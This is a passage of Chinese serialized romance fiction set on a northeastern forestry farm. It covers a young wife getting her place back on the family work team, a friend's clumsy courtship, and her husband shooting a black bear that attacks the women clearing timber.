“小林应该不知道吧?你不说他媳妇儿没让你进去,在外面跟你说的?”
那可不一定,当初拿王家村给的赔偿,还有给她介绍对象,哪个不是她大伯娘白秀珍出的面?
可严松山就不知道吗?未必吧,他只是更喜欢躲在妻子后面装好人罢了。
严雪安抚住了黄凤英,“这事我再想想办法,找他们理论不是目的,找到工作才是目的。”
黄凤英一想也是,“那要是有用得着我的地方,你尽管说。不行让你刘大爷跟上面说说,哪有这么办事的?”
“您什么时候见我跟您客气过?要真有需要,您家那三条狗我都能借出来壮胆。”
严雪一句话,总算把黄凤英逗乐了,“你要真要,后院那两只大鹅也给你带上。”
当然严雪这也就是玩笑,就像她说的,怎么把这事解决了才是最重要的。第二天,她就找机会蹭车又上了趟山。
这回她不是来找祁放的,下车连营地都没进,便准备找个人问问家属队在哪边清林。
谁知刚走出没多远,倒有人先找上了她,“你咋又上来了?找祁放?”
严雪一看,竟然是上次带他上山找人的梁哥梁其茂。
这人也不知道是故意装傻,还是以为他撺掇小舅子来她婚礼闹事的事儿严雪还不知道,跟严雪打招呼的语气竟然还挺热络。
严雪看看他脸上的笑,“梁哥今天没上班吗?”
“拖拉机又坏了,搁那儿等人修呢。”梁其茂一摆手,“现在采伐队的位置可深,要不要我帮你找找?”
这是连他上次带她去找祁放差点就出了事,还把她一个人丢在那的事也忘了。
严雪干脆也没舍近求远,“你知道家属队现在在哪干活吗?”
她要讨说法,总得抓个现行不是。
梁其茂有些意外,“家属队?你问这个干嘛?”
“有点事。”严雪还是那个万能回答。
梁其茂咂了一下嘴,“行吧,我去帮你找找。也就你吧,别人我可不费这个事儿。”
不多会儿他回来,把家属队如今所在的方位告诉给严雪。
严雪道过谢刚要离开,他又跟了上来,“还是我带你过去吧,你别乱走了。”
又一副熟稔的语气问严雪:“咋样?在林场还适应吧?你结婚我都不知道,也没去给你赶个礼。”
这是不是太热情了点儿?
严雪看了对方一眼。
对方还在说:“我家就住你家房后,要是有啥事儿祁放不在,你就找我,我开拖拉机的方便,在家时间多。”
严雪没应,后半程也很少再接对方的话,甚至连脚步都有意加快了。
也还好清林工作是从靠近营区这一头开始的,两人很快便到了。严雪抬眼,已经看到有人在边缘处一根倒木上坐着烤火。
而且其中一个人她瞅着还有点眼熟,像是林队长那个长得挺漂亮的媳妇。
“休息呢?”严雪还在打量,梁其茂已经走上前,跟对方打了个招呼。
对方一抬头,“小梁啊,你怎么来了?”还是见人便带三分笑,显然跟梁其茂也很熟悉。
“小严要来家属队,我帮她带个道。”梁哥也没说两人是路上碰到的,往后一指。
林队长媳妇望过来,脸上似乎有瞬间不自然,又很快笑道:“你咋上这儿来了?有事?”
“我来找林队长的。”严雪冲她笑笑,不等她再说什么,已经扯开嗓子,“林队长!林队长在吧?”
几乎所有人都下意识朝一个方向看去,包括林队长媳妇儿。
严雪顺势往那边走了几步,喊话却没停,“林队长!我听说咱们家属队今年不缺人,所以才没通知我来上班,真的假的?”
她好像很急,不等林队长回话已经又道:“可我还听说今年家属队任务重,人不够,到底哪个是真的?”
林队长似乎想说什么,一开口又忍不住咳,他媳妇赶忙拉了严雪一把,“你先别急,有事慢慢说。”
“这都开工好几天了,我能不急吗?”严雪要的就是当众说这件事,哪能真被拉住。
她嗓门还更大了,“我本来想找郎书记问问,听说林队长你在这边,就先过来找你了,到底怎么回事啊?”
话说得很快,把一个又着急又沉不住气的年轻小媳妇演绎得淋漓尽致。
连梁其茂都忍不住问林队长媳妇:“咋回事儿?”
林队长媳妇哪能想到严雪这么虎,她还以为严雪整天笑盈盈是个没脾气的,又年轻面皮薄,就算没被她那几句话打发回去,也只能憋在心里自己生闷气。
严雪当着这么多人的面把事情扯出来,不想给她个说法也得给她个说法了,何况她话里还提到了郎书记……
林队长媳妇相信,这事要得不到解决,她真敢闹到郎书记那,林队长也相信。
顾不上还在咳,他快步走了过来,“到底咋回事儿?我不是……咳咳……不是叫人通知你了吗?你……咳……你自己没来。”
“哪通知我了?我根本没收到。我还特地找人问了,人说队里不缺人,用不上我,让我回家等着。”
严雪虽然没说问的谁,可一面说,一面瞄了眼林队长媳妇。
林队长也看向了自家媳妇,看得对方脸上的笑容很是僵硬。
但他却什么都没说,而是转头对严雪道:“那可能是我忘了,你……咳……明天来上班吧。”
竟然把责任揽到了自己头上,而不是顺势朝媳妇发难,看来这事他还真不知道。
严雪之所以没直接去找郎书记,就是考虑到这一点,准备家属队内部的事就在家属队内部解决。
万一林队长不知情,事情到他这里也就为止了,严雪不闹大,也算帮他保全了面子,事后怎么处理是他们两口子的事。
万一林队长也知道,严雪当众来这么一场,还把郎书记抬出来,他怎么也得给严雪一个说法。
而不管他知不知道,事情放到了明面上,严雪这个家属队的名额都可以解决了。
毕竟对方要是不给她解决,她是真敢闹到郎书记那的。
果然林队长立马让她明天来上班,严雪也就露出松一口气的表情,“还好我跑过来问了,不然这事岂不是搞差了。”
该闹的时候闹,该就坡下驴的时候立马就坡下驴,完全不像一般年轻人会气不过紧抓着不放。
看来她刚那一出还是演的成分居多,林队长多看了严雪一眼。
严雪任由他看,还状似开玩笑地道:“不跑这一趟,我都要以为我是哪里得罪你们家了呢。”
林队长神色一顿,显然是听懂了。
严雪也就笑着告辞,“那我不打扰你们干活了,明天6点20集合是吧?”
连这个都一清二楚,明显是有备而来。
林队长掩唇咳嗽了下,点点头,“晚上我把安全帽和工具给你送去。”
林场的安全帽其实就是个藤编的帽子,林场人俗称“藤斗子”,严雪之前已经见很多人戴了,清林的工具则主要是斧头和手锯。
所谓清林,指的是在采伐过后,对采伐剩余物的处理。
毕竟树砍下来,造材结束,还剩下树头和树枝在山上,不清理干净,没法进行后续的造林工作。
有些林场有专门的清林工,金川林场因为年年争当先进,采伐任务一直较重,干脆把这个活包给了家属队,按天计算工钱。
第二天严雪提前五分钟到达集合地,稍微等了一会儿,通勤车就来了。
上山后,众人沿着昨天清过的方向继续清理,林队长叫来一个二十出头的年轻媳妇,指指严雪,“小郎,你带一下她。”
严雪看过去,发现这人她还见过,是当初帮着把郭大娘扶回家的月娥。
原来她姓郎,就是不知道和郎书记什么关系了,毕竟这是个不多见的姓,源自于满族大姓钮祜禄。
对方显然也认出了她,点点头,“好。”直接把她带去一边,从怎么用斧头和手锯开始教起。
郎月娥不是个爱说话的,一句都没和严雪打听昨天的事,但别人就不一定了,不多会儿就有人干着干着靠过来,小声问严雪:“你昨天说有人跟你说家属队招够人了,谁说的?是不是林队长媳妇儿?”
严雪只是低了头笑,像是有些认生,完全看不出昨天是怎么当众喊出那些话的。
那人也只当她不好说出口,“行行,知道你为难,你不说就是了。”
又忍不住低声,“你咋得罪程玉贞的?她这个人可不好斗,还特别会哄爷们儿,没见你昨天闹了那么一通,她今天啥事儿没有?以后你可得小心点儿了,小心她给你穿小鞋。”
今天上班,林队长两口子的确一切如常,但又不是所有人都是梁其茂夫妻,吵架吵得好几条街都能知道。
严雪继续低头干活,还问:“是这样弄的吗?”
“对,把这些粗的留出来,细枝垛那边。”那人一指,又压低声,“我看她针对你,还是因为你家祁放。”
这回严雪看向了她,眼神似有不解。
“你家祁放不跟于勇志有过节吗?她跟于勇志他姐于翠云好得一个人似的,肯定是于翠云让她这么调理你。”
事情不知道怎么传到了山上采伐队,刘卫国也是这个看法,“你说你到底怎么于勇志了,他、他姐夫还有他姐,全盯着你家找茬。”
祁放乍听也蹙了下眉,但还是把要伐的树木树根周围的雪清出来,方便锯工进去采伐,行话称“搓树根”,“不一定。”
“啥不一定?”刘卫国完全没弄明白,再追着问,祁放又不吭声了。
他干脆扯回之前的话题,“你这也快干完了吧,一会儿要不要去家属队看看?好歹给你媳妇撑个腰,免得她被人欺负。”
祁放头都没抬,“你不说她比我还不好惹?”
“我是这么说过没错,可她再不好惹,那也是个女人吧,你就这么放心?”
刘卫国说完,又压低声音,嘿嘿笑了声,“再说你俩这又多少天没见了,你就一点都不想?没事你不用不好意思,到时候我陪你一块儿去,就说咱俩今天下工早,从那儿路过的。”
这回祁放终于看他了,深邃的,带着点探究和不解的,“到底我想去还是你想去?”——
祁放:你这么想见我老婆干嘛?
明天就开奖啦,小天使们记得赶紧追订,别错过了~
醋缸
==============
祁放这话一出,刘卫国才想起自己还管人家叫过咱哥来着,这么积极的确容易引起误会,赶忙摆手,“我没别的意思啊,也不是想去看严雪。”
见祁放望着他没说话,甚至举起三根手指,“我保证!”
祁放也不知道信了没有,收回视线继续忙自己的。
这下刘卫国有点挠头了,“我说真的,我其实是之前遇上了一个人,就你结婚给你钓鱼那次。”
那可真够早的,就在他知道他和严雪要结婚仅仅四天后。
祁放终于弄完了,收起工具边往外走边瞥了一眼他。
刘卫国赶忙跟上,都不等人问便主动交代,“是个去年来咱们林场的女知青。那天她正好去河里打水,我见她自己拎个大桶,就帮了她一把,她跟我说谢谢,还夸我钓鱼的姿势很特别。”
刘卫国钓鱼的姿势特不特别祁放不知道,但他觉得那姑娘特别祁放算是看出来了。
果然刘卫国能憋到现在才说绝对是极限,话匣子一开,便彻底关不住了,“我当时还想,这个女知青我咋没见过。后来才反应过来,林场来一个女知青,都要来看看你长啥样,就她没来,所以我没印象。”
祁放这长相都快成金川林场的标志了,但凡新来林场的女知青,就没人没听说过林场有个长得特别好看的男职工。
这时代再压抑男女关系,爱美之心大家也是有的,刘卫国跟祁放关系好,经常能看到各种姑娘或明着或暗里过来看祁放。
对方不来看,在他心里就是很特别,就是和其他女知青都不一样。
刘卫国搓着手,“你看你媳妇儿出了这么大事,不知道也就罢了,你都知道了,不过去看看也不是那么回事儿……”
这都不能算暗示了,就差把“你快点带我去”几个大字写在脸上。
祁放望望那张笑得讨好的脸,“你自己的活不干了?”
这明显是在赶人,刘卫国笑容一僵,“我这不是有事儿跟你说吗……”
“你再耽误下去,哪也去不了。”
这回祁放没再看他,他却迅速反应过来,“好嘞,下午忙完了我过来找你。”撒丫子颠了。
下午距离下工还有一个多小时,他就伐完自己那边过来给祁放帮忙了。祁放这边的锯手师傅都看出来他这是有事,提前放了人。
两人一个急切一个淡定往家属队那边走,路上还碰到了又在背着枪乱晃的于勇志。
这次于勇志倒是没再拿枪指着人,但故意拐了个弯从两人面前经过,全方位无死角展示他新换的猎/木仓。
刘卫国爷爷就是老猎人,家里家伙不止一杆,完全get不到对方的炫耀,“他这扭来扭去干嘛呢?”
“可能是生虱子了。”祁放敛着眸语气淡淡。
刘卫国一听笑了,“嘴损还是你嘴损,看着不爱说话,一张嘴就损死人。”
祁放也不是针对谁,但他总一副对什么都不感兴趣的样子,说出来的话就是格外嘲讽。
两人找到家属队的时候,严雪正和人将清出来较粗的树头装上车,娇娇小小一个,看得人都怀疑她到底能不能搬动。
果然旁边有男知青问她:“你这小体格行吗?不行我们帮你搬啊。”
另一个人也跟着附和,还作势要撸起袖子,“你叫我一声哥,我立马帮你全搬了。”
严雪年前才刚成年,在这家属队里的确是最小的,但也不是管谁都得叫哥,对方这么说,显然有调笑的意味。
严雪抬着东西看也没看他,“我叫你一声,你敢答应吗?”
对方被问得一愣,显然没反应过来。旁边却有别人听懂了,“噗嗤”一笑,还捶了那人一下,小声在他耳边说了句,说得对方脸有点绿。
刘卫国也没听懂,小声问祁放:“啥意思?”
“《西游记》里银角大王的台词。”祁放只说了一句,就走上前,帮严雪把东西放上了马车,“还剩多少?”
他伸手,严雪就顺势放了,甩甩发酸的胳膊,“快了。”
祁放没再问,接过严雪的活继续帮她干,让严雪在一边歇着。
“这还得是新婚小夫妻。”有职工家属啧了声,“我都上山好几年了,也没见我家那口子过来帮我干过。”
此言一出,周围几个结了婚的全跟着笑,还有人也一起调侃。
刘卫国还是没搞懂严雪之前那句话,眼睛一转,干脆问上旁边一个女知青:“《西游记》里那句台词咋回事儿?”
这年代书少,看书的人也少,他能知道《西游记》,还是听人讲过一段,见过扭秧歌时师徒四个的戏曲扮相。
女知青没想到他会突然跟自己说话,一愣,“就是银角大王有个紫金红葫芦,叫人一声,只要对方应了,就会被吸进去,一时三刻化为脓水。”
果然她刚才跟着笑了,是明白这句话什么意思的。
刘卫国咂咂嘴,“这么狠?”觉得这还真是祁放那小媳妇的风格。
“那你们那男知青咋回事儿?”他又问,似乎怕旁人听见,还走近了帮对方抬起东西。
这下女知青脸红了,怕被人看到两人一起抬着赶忙松了手,“他、他就是嘴上花两句,没别的意思。”
“真没有?”刘卫国一脸不信,还更压低了声音,“你也知道我这哥们儿媳妇儿长得漂亮,没结婚就一堆男的盯着,他特不放心,这不一下工就把我拉过来了。结果一来就看到这出,你说他上不上火?”
话还没说完,就感觉身上一凉,像是被谁扫了眼。
刘卫国装没感觉到,“他这一来就帮媳妇儿干活,就是来宣誓主权来了,我是他哥们儿,好歹得帮他打听打听。”
看也没用,关键时刻该卖还得卖,谁叫他当初说严雪是他妹子,还说严雪没对象。
刘卫国一脸义正言辞,还真把那姑娘唬住了,再三跟刘卫国说那男知青真没什么意思,都知道严雪已经结婚了。
看她认真解释的样儿,刘卫国心里偷着美,面上还认真点头,“那我跟我哥们儿说一声,就是不知道他能不能信。要不你帮他盯着点儿吧,好歹下次我们过来,问问你也能放心不是。”
嘀咕的时间太长,连严雪都注意到了,小声问祁放:“这什么情况?”
祁放眼皮都没有动一下,“卖友求妻。”
那刘家这兄妹俩还真是一个妈生的,一个卖哥们,一个卖哥哥……
严雪看弄得差不多了,把最后一根也搬上车,“我说你怎么突然跑过来,原来是给他打掩护。”
这话让祁放的动作顿了下,严雪注意到,回头看他一眼,“怎么了?”
“没怎么。”祁放懒懒拍了拍手套,神色一惯的冷淡,“没了吧?”
“没了,本来就干得差不多了,只剩这点没装。”
刘卫国卖哥们卖得太用力,第二天,祁放不放心媳妇儿是个大醋缸的名声就传出去了。
但凡是林场的家属队职工,看到严雪总要笑两句,后来就连黄凤英都听说了,“小祁看着性子淡,没想到盯人这么紧。”
严雪只能笑,难道还能直说是你儿子想追人家女知青,拿祁放做幌子呢?
不过一次两次也就罢了,次次刘卫国都去找那女知青说话,大家也不是瞎子,哪能看不出来。等刘卫国第三回怂恿着祁放往家属队这边跑,那女知青就不理他了,还躲着他和其他女知青待在一起。
刘卫国没办法,只能拿着严雪的斧子蹲那儿帮严雪砍树枝,砍个几下就要低低叹一口气。
祁放在旁边冷眼看着他叹,倒是严雪笑盈盈问了句:“怎么了?想放弃了?”
刘卫国用力劈着斧头,“放弃啥?人家又没有未婚夫。”
这是还记着祁放当初说严雪没有对象的事儿呢,祁放神色微凝。
严雪不知道那件事,只当他是想说人家姑娘没对象,“那你就实际点,别弄那些虚的。”
“实际点?咋实际点?”刘卫国总算来了点精神。
“你还真准备光拿祁放跟人家套近乎啊?”严雪瞅他一眼,“要追就有点诚意,光嘴上说有什么用?嘴上说是能吃饱还是能穿暖?”
“你是让我给她送吃的?”刘卫国眼睛亮了。
别人想弄点好吃的难,他家不是啊,想吃肉多上几趟山就有了。
“不只是吃的,你要追求人家,跟人家谈对象,不得了解了解人家需要什么?人家缺吃的,你给送吃的;外面下雨了,你给送把伞。当然我不保证这么做了人家一定能看上你,但总比不做机会大吧。”
严雪后面那句话刘卫国全当没听见,只注意前面的,恨不得拿笔记下来,“还有呢?”
“还有什么你不会自己想?”严雪横他,“是你追人,又不是我追人,你多想想怎么对人好不就得了。”
刘卫国听得直点头,“还是你懂啊,早知道我早点问你了。”
又郑重拍胸表示,“这事儿要是成了,你就是我的大恩人,将来我让孩子认你做干妈。”
听得祁放淡淡看他一眼,“八字还没有一撇呢。”
“你倒是有一撇,也没见你弄出个孩子来。”
刘卫国也是得意忘形了,竟然回怼了句,怼完还抢祁放手里的活,哐哐几下将枝杈都砍了下来。
砍完把斧子往地上一扔,“严雪你歇着,我把这些给你搬过去。”抱着就跑,比祁放这个正牌老公还积极。
祁放的手就这么落在半空,顿了下才缓缓放下。
严雪想到刘卫国怼他的话,有点想笑吧,又感觉不太该笑。
然后祁放的眼神就看了过来,“你还挺懂。”
这话说得意味不明,严雪也不知道他是不是看出了自己想笑,稍微收了收,“没吃过猪肉,总见过猪跑吧?”
她伸手去拿插在地上的斧子,竟然没能拿起来,“怎么还给我插地里了?”
时间进入三月底,天气逐渐转暖,白天雪虽然已经开始化了,土层下面还是硬的。
“给我。”祁放接过去,也费了点事,还带下一块刚刚清林时被敲裂的土层。
严雪接过去赶忙检查了下,“可别把刃崩了。”目光触及被带出来的坑,又一顿。
她蹲下去仔细看了看,又拿斧头往边上扒了点,总算确定下面露出那一角的确是个缠着黑丝的块状根茎。
祁放也看到了,“好像是天麻。”
“嗯。”严雪不动声色把土又埋回去,起身望一望,在附近的树桩上砍了记号。
天麻又名“定风草”,因其出苗时风中不摇而得名,也因其这一特性,特别适合用于治疗头风、痛风后遗症之类的疾病。
严雪上辈子那会儿野生的天麻已经很少了,市面上能卖到四五百块一斤,还不让挖。现在虽然没那么贵,收购站收得也不便宜,一等品也就是这种萌生要十一块钱,一斤也能赶上一个礼拜的工资了。
就是这种萌生也不好发现,毕竟全藏在土里呢,一旦到了六月份天麻开始出苗,品质就要下降了。
出苗的天麻心就空了,一斤仅能卖两三块钱,等到天麻开了花,下面的根茎也会随着营养枯竭彻底腐烂。
现在土层还硬着,严雪想挖也挖不了,只能先做上记号,等天暖和了再来,就是不知道下面到底能挖出多少。
不过天麻喜欢阴凉湿润、疏松透气的土壤环境,尤爱柞树林和桦树林,这一片刚好是柞树林,说不定还能找到其他的。
哪怕有了天麻这个意外之喜,一天的活干完,严雪还是累得一动不想动。
回去的通勤车上她没抢到座,一路站到家,连饭都不想做,烧了炕就只给自己冲了碗油茶面。
她这还只是家属队,真正住在山上的采伐队每天比他们开工更早,收工更晚。
严雪觉得自己的长处不在体力劳动上,要真这么干下去,弟弟的确能接过来,可也够累的,记忆里多出来的那一辈子也好像全白活了。
第 23-24 章
尖叫声穿透森林,原本静静趴在树上不动的黑熊突然转过头。
那庞大的身躯少说也有个四五百斤,竟然那么灵活,转瞬间就朝树下爬了过来。
严雪本就是勉励安抚,情势突变,终于有人再受不住心里的恐惧,尖声叫着转身便跑。
而只要有一个人带头,强行被压抑住的情绪就仿佛有了缺口,迅速决堤,不过一两秒,严雪身边已有大半的人开始狂奔。
“怎、怎么办?”刘卫国追求那女知青抓紧严雪哆哆嗦嗦问。
这些职工家属都是林场老人了,见过的事多,经常跑山体力也好,几个城里来的知青却是第一次遇上这种阵仗。
眼见那黑熊已经飞速冲到树下,严雪也没了更好的办法,“跑吧。”
“啊?”女知青显然没反应过来。
严雪已经扯开她的手,“快跑!分开跑!能跑多快跑多快!”
见还有几人呆站着,她拔高声音,“跑啊!还愣着干什么!”人已经窜了出去。
几个被吓傻了的人这才反应过来,没了命地狂奔。
“分开跑!别聚一起!”严雪头也不回提醒。
这是她能做到的极限了,分开跑,跑快点,好歹能跑掉一个是一个。
黑熊就是被尖叫声激怒的,她这样大声提醒,其实都是在冒生命危险。
严雪不知道黑熊朝着哪个方向追了,也不敢分神留心,一口气跑得眼前都有些发黑,有个人迎着面跑过来,“黑瞎子在哪儿?”听声音竟然有些兴奋。
她还以为是自己听错了,“快跑啊!你往这边跑什么!”
那人脚步不停,已经和她擦肩而过,接着身后竟然传来了上膛声,然后是“砰”地一声木仓响。
太好了这人有木仓!
这是严雪脑海里第一个想法。
这人不会是于勇志吧?
这是严雪脑海里第二个想法。
她没敢回头去看,然而这个随身背着木仓的人还真是于勇志。
于勇志一听到自家二姐的尖叫就冲过来了,也赶在黑熊扑向于翠云之前开了木仓,子弹却只擦过了黑熊的后肩。
而黑熊跟野猪一样,是会挂甲的。通过在松树上蹭松油,再去泥塘里打滚,给自己皮毛外面挂了层厚厚的甲壳,很难打穿,尤其是已经成年已久的黑熊。
很不幸他们碰到的这只就是,于勇志一木仓下去,竟然除了激怒它,没起到太大作用。
黑熊一掌拍向于翠云,接着直接转身,朝开木仓的于勇志冲了过来。
那可是每小时三四十公里的速度,转瞬间一人一熊便拉近了数十米。
于勇志努力镇定,想再开一木仓,手却从第一木仓没起什么作用后就不住颤抖,竟然没能扣动扳机。
这让他愈发恐惧,眼见黑熊越来越近,竟然抱着木仓转身就跑。
严雪听到动静,简直要气死了。
她个子小,本来就跑得艰难,对方一击不中,竟然把黑熊朝她这边引过来了。
屋漏偏逢连夜雨,脚下还不知从哪横伸出一根树枝,将她绊了一跤。
也就是这一跤的工夫,于勇志竟然越过她跑到了前面。
黑熊沉重的脚步声愈发靠近,转瞬就只剩二三十米的距离,严雪来不及多想,就地翻身一滚,只能赌黑熊是被于勇志开木仓激怒的,不会半路分神来追她。
人还没落定,忽听又是一声木仓响。
这回黑熊的吼声明显变大了,就响在严雪不远处,震得她脑袋都有些发晕。
她下意识抬头,握木仓的人不知何时已经换了。
于勇志两手空空,还在没命狂奔,他身后,另一道身影双腿微分,正眯起桃花眼保持着开/木仓的姿势,不是祁放又是哪个。
男人大概也是匆匆跑来,人还在喘,端木仓的手却极稳,飞快调整着开/木仓的角度。
哪怕黑熊吃痛之下只是顿了一顿,就以更加快的速度愤怒扑来,他手都不曾颤一下,更不曾后退半分。
“砰!”
又是一木仓。
这回子弹直接打中了黑熊的头,黑熊发出一声震天的吼叫,竟然轰然倒下,不动了。
这是……打死了?
严雪呼呼喘着气,有瞬间感觉耳内响起了尖锐的爆鸣,混合着剧烈的心跳和残余的怒吼与木仓声。
于勇志是直面追击的人,比她反应还大,接连又跑出十数米,脚一软直接摔了个狗啃泥。
不过后怕过后,恼怒直冲上了脑门,于勇志又哆哆嗦嗦爬起身,想朝黑熊走去,“死畜生你咋不动了,刚不是挺能吗……”
话未说完,就听到祁放凉凉的声音,“熊会装死。”
刚站起身的于勇志“啪”一下又摔了回去,甚至拿脚蹬着地,屁滚尿流连退数米。
其他刚想要松一口气的人闻言,也重新提起了心。
祁放倒是不慌不忙,对准熊头又开了一木仓,见熊始终一动未动,这才放下,“死透了。”
“扑通!”
“扑通!”
连着好几个人坐在了地上,连严雪绷紧的神经一放松,都感觉手软脚也软。
寂静中不知传来了谁的低泣声,接着是第二声、第三声……
严雪没有哭,就是还没从刚刚的惊险中回过神,以至于有脚步声靠近的时候,她浑身一颤,下意识便想逃。
脚步声的主人似有察觉,停在那不动了。
严雪这才反应过来,仰起脸去看,正对上男人垂眸投来的熟悉视线。
祁放也不知是从哪过来的,安全帽都没有戴,此刻一手提着木仓,清冷中还透出些肃杀。
见她回过神,他这才快步过来,“你没事吧?”
熟悉的清淡嗓音,在此刻听来却格外让人安心。
严雪迅速收拾好心情,“我没事,就是有点吓到了。”自己从地上爬了起来。
刚站定,才发现男人也伸了手过来扶她,刚好因为她这一举动落空。
这严雪也没有想到,正要说什么,又有脚步声靠近,“黑瞎子在哪呢?打死了没?”
刘卫国不知也从哪里弄了把猎/木仓,匆匆跑过来。
见黑熊已经倒在地上,死得不能再死,他愣了下,“还好已经打死了。”
也没空管是谁打死的,直奔那个女知青,“你有没有事儿?”
女知青还在地上没起来,表情呆呆的,听有人问愣愣抬起头,眼一下就红了。
这一哭,刘卫国立马被弄得手忙脚乱,想上去扶,手都伸出去了又不太敢,只能蹲下来小声安慰:“没事了,没事了,黑瞎子已经被打死了。”
女知青红着眼睛点头,可眼泪还跟止不住似的,啪嗒啪嗒往下掉。
好一会儿,她才尝试站起来,又满脸赧然跌回去,“那个,你能拉我一把吗?我好像把脚崴了。”
她这个样子刘卫国何曾见过,忙不迭答应,“能,能。”小心伸出手。
女知青被他拉着,连扶带拽总算站起了身,另一边,严雪倒是迅速恢复了镇定。
虽然脸还有些白,指尖也有着尽管努力控制依旧控制不住的颤抖,但至少神色看不出异常了。
祁放收回了手,见她连扯两下也没扯掉胸前的枯树叶,还是伸手帮她拽去,又问了遍:“你真没事?”
“谢谢。”严雪下意识便说了句,又弯眸朝他露出一个笑,“我真没事儿,那熊离我还有二三十米呢。”
可事实是,那熊离她只剩二三十米了,想扑过来只要短短的几秒钟,而她根本无路可逃。
祁放眼神沉下来,“没人叫你这种时候还要笑。”
严雪下意识便想说我没有啊,一抬眼,却对上男人深沉中还透着不悦的目光,又把话咽了回去。
但她还是没有哭,更没有向谁索求一点安慰,强大得仿佛刚经历过一场生死危机的并不是她。
祁放眼神更沉,不待要说什么,又有人听到动静来了,是他那个工队的工队长刘大牛。
刘大牛处理这些显然比在场所有人都更加有经验,先确认熊是否已经死亡,一确定熊已经死得不能再死,立马问:“有没有人受伤?”
众人下意识看向四周,好一会儿,才有人哽咽着道:“有,于翠云被黑瞎子拍到了。”
是林队长的媳妇程玉贞,不过她显然也是和于翠云分开跑的,距离对方还有数十米的距离。
还瘫在地上的于勇志这才想起来自家二姐,刘大牛也赶忙走了过去,低头一看,于翠云的棉衣已经被抓破了,从左肩到胸前几道深深的血痕。因为穿得厚,暂时看不出伤势如何,但她一直痛苦口申口今,应该也不会太轻。
刘大牛立马吩咐:“去个人找生产调度,让他打电话给山下叫摩托卡。”
书记和场长并不是一直都在山上,营地这边主要的负责人是生产调度场长。
他本来想叫自家儿子,结果目光一扫,他儿子正低头和个年轻姑娘说话,压根没看他。
刘大牛一顿,那边祁放已经淡声开口,“我去吧。”
不知是不是错觉,严雪总觉得他这声比平时更凉,抬头想看,人已经将木仓交给刘大牛,迈开长腿走了,只留下一个快速远去的颀长背影。
刘大牛继续看向其他人,“还有没有人受伤?”
“有!”这回刘卫国举起了手,“这位女同志脚崴了。”
别说刘大牛,女同志本人脸都是一红,忙摆手,“我没事儿,就是稍微扭了一下。”
刘大牛终于忍不住狠瞪了儿子一眼,扭开头没再搭理他。
不多久祁放回来,不仅带来了生产调度,还跟来几个抬担架的人。
众人忙把于翠云抬到担架上,生产调度一看现场这些人脸白的白,腿软的软,显然都被吓得不轻,也干脆给他们放了假,让他们提前下山回家休息。
说完他又把刘大牛叫到一边,两人压低声不知在说些什么。
刘卫国还想送送那女知青,但现在人都集合到一起了,有了其他同宿舍更熟的人,女知青也后知后觉开始不好意思。他找不到机会,只能转回来,看看地上那头黑熊,问祁放:“不赶紧收拾出来?一会儿该闷膛了。”
祁放“嗯”了声,兴致不高的样子。
刘卫国也不在意,“知道你媳妇儿受惊了,你陪着她,我来弄就行。”
受惊了吗?
祁放抬眼看向不远处,严雪正语气温柔,帮几个吓得太狠浑身没劲儿的家属工收拾着东西。
她分明还有心思照顾别人。
祁放低了眸不太想说话,那边刘卫国忙着忙着突然“唷”了一声,“好东西啊!”
不仅严雪看了过去,说完话回来的生产调度和刘大牛也停下瞅了眼。
刘卫国提起来的是个熊胆,个头不算太大,但呈现出漂亮的金黄色,透明光亮如琥珀。
严雪上辈子虽然不卖熊胆,都能看出这属实是好东西,更别提刘大牛了,“竟然是金胆,看来的确是刚出仓没咋吃东西的黑瞎子。”
熊胆的质量好坏,很大程度与它是否进食有关。
黑熊是杂食动物,而且吃的主要是各种杂果,一旦开始大量进食,熊胆就会呈草绿色,是品质最差的草胆。
而一旦进入冬眠,停止进食,胆汁的浓度便会明显提升,呈墨膏状,称为墨胆或者铁胆,品质中等。
严雪他们碰到这只因为是冬眠刚醒,还没有开始进食,又遭到了激怒,品质是最上等的金胆,也称铜胆。
这种熊胆不像普通熊胆那么苦,入口先苦后回甘,药性极佳,自然价格也很感人。
刘卫国将熊胆递给了祁放,“单这一个胆,你媳妇儿今天这通惊吓就没白受。”
祁放不置可否,看脸色并没有多高兴。
刘卫国立马改口,“我说错了,给一百个胆,你媳妇儿也不该受惊吓。”
剩下就是些熊皮、熊掌、熊肉了,这是只成年公熊,看体型得有个四百多斤,去了骨和皮也能出不少肉。
严雪已经能察觉到周围人羡慕的眼光,小声问祁放:“这么多咱们也吃不完,要不给大家分分吧?毕竟都受了惊吓。”
祁放没有意见,“你随便。”
严雪就回头和众人说了这件事,“回头去我家拿,一家五斤肉,今天在场的都有份。”
听说都有肉可以拿,众人脸色总算好看了点,再想酸那个熊胆也得收敛收敛。毕竟熊是人家打死的,人家一口不分给你也没毛病。
见祁放一直脸色不好,刘大牛想了想,让他也跟着回去了,“在这你也没心思工作,回去歇一天,明天再来上班。”
祁放从来不请假的,闻言竟然沉默了下,点点头,“行。”
回去这一路,严雪算是被人围上了,有夸她临危不乱反应快的,有夸她懂的多的,还有人夸她眼光好会找男人。
“多亏了你家小祁,不然就于勇志那两下子,咱们这帮人还不得都栽里头?”
“对啊,我看他整天背个木仓,还以为他多厉害呢,结果就这?”
“还是小祁稳,那木仓拿着,手都不带抖一下的。”
你一句我一句,好像当时大家都没埋头只顾着逃命,而是盯着祁放看他怎么开的木仓。
还有人问严雪:“你家小祁这木仓法也是跟刘老爷子学的吗?我看他开挺准,想打头就打头。”
说实话严雪也不知道,嫁过来前,她一直以为对方是个长得不错又有个工作的老实人。
结果祁放何止是长得不错,还又会修东西,又会开木仓,记忆力似乎也特别好。
关键人也不老实,反而聪明得很,这要不是两边的信息全都对上了,她都要怀疑自己是不是找错了人。
回到林场,有人干脆帮两人把黑熊抬了回去,顺便拿上肉再走。
没想到平时不常出门的郭大娘竟然不在家,也还好林场这边虽然会在门上挂锁,但其实都是不上锁的,一扭就能直接打开。
后面又陆陆续续有人过来拿肉,当然也有始终不见露面的,比如郎月娥,再比如那几个知青,毕竟他们不自己开火做饭要肉也没用。
等到下午渐渐没人过来了,严雪他们还剩四个熊掌、两条熊腿和个没什么肉的熊头。
严雪把其中一只熊掌拿进了厨房,“今天就吃它了,红烧熊掌。”大有以此为报复的意思。
祁放不置可否,只把东西拿过去帮她处理。
严雪又想到了扒下来的熊皮,“我看还挺完整的,回头找人做个熊皮褥子你带山上铺吧。这东西隔凉,山上那条件实在太差了。”
这回男人抬头看了她一眼,依旧不说话。
严雪可以确定了,这男人的确不太高兴,也不知道哪里又踩到了他的雷区。
总不能是因为上午那事吧?熊又不是她想遇到的……
本来对方救了她,她心里还有点说不清道不明的感觉,此时又被弄得有点烦,干脆也不和对方说话了。
